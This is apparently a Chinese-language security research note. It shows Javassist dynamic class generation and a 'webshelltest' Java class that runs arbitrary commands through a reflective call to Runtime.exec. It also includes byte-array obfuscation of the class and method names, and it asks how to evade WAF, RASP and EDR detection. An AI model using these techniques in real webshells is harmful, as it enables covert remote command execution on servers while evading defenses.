0x01 动态生成类
import javassist.*; import java.util.Scanner; public class JavassistTest { public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); Scanner scanner = new Scanner(System.in); // 获取类名 System.out.print("输入类的名字: "); String classname = scanner.nextLine(); CtClass ctClass = pool.makeClass(classname); //"public void Hello() { System.out.println(\"Hello, World!\"); }" //注意转义 // 获取方法 System.out.print("输入类的方法: "); String classmethod = scanner.nextLine(); CtMethod method = CtNewMethod.make(classmethod, ctClass); ctClass.addMethod(method); //将类加载到JVM Class<?> clazz = ctClass.toClass(); Object instance = clazz.getDeclaredConstructor().newInstance(); //获取并调用方法 System.out.print("输入方法名: "); String classmethod_name = scanner.nextLine(); clazz.getMethod(classmethod_name).invoke(instance); } }
0x02 加载已有类
import javassist.*; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import org.apache.commons.io.IOUtils; import java.util.Base64; import java.util.Scanner; public class webshelltest { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException { Scanner scanner = new Scanner(System.in); // 获取命令 System.out.print("输入执行的命令: "); String command = scanner.nextLine(); /*byte[] rtn = new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101};//java.lang.Runtime //String javaruntime = "java.lang.Runtime"; String run_base64 = Base64.getEncoder().encodeToString(rtn); String run = new String(Base64.getDecoder().decode(run_base64)); byte[] b2 = new byte[]{101, 120, 101, 99}; //exec String cm = new String(b2);*/ String run = "java.lang.Runtime"; // 可以替换为实际的类名 String cm = "exec"; // exec 方法名 try { // 动态加载类 Class<?> shellClass = Class.forName(run);//加载已有类 Constructor<?> declaredConstructor = shellClass.getDeclaredConstructor();//获取构造器 declaredConstructor.setAccessible(true);//确保构造器可以访问 Object o = declaredConstructor.newInstance();//实例化 // 获取方法 Method exec = shellClass.getMethod(cm, String.class); Process process = (Process) exec.invoke(o, command); // 获取进程输出流 InputStream inputStream = process.getInputStream(); String output = IOUtils.toString(inputStream, "gbk"); // 输出命令结果 System.out.println(output); } catch (Exception e) { e.printStackTrace(); // 异常处理 } } }
PS. exec 方法入参是 单个String []类型,但是实际的入参类型可能多个是 String[](例如ping 1.1.1.1),这里重写了exec方法的签名,或许还可以通过拆分String,再强制类型转换为object。
实际在测试的过程中,有这几个问题:
1、如果是为了绕过waf,是不是应该尝试传参的时候使用base64或者其他的方式加密一下,执行的时候再解密
2、如果是采用这种方式,如何绕过rasp或者edr之类的?感觉绕过这两个靠加解密是不行的。
3、实际环境不太可能有javassist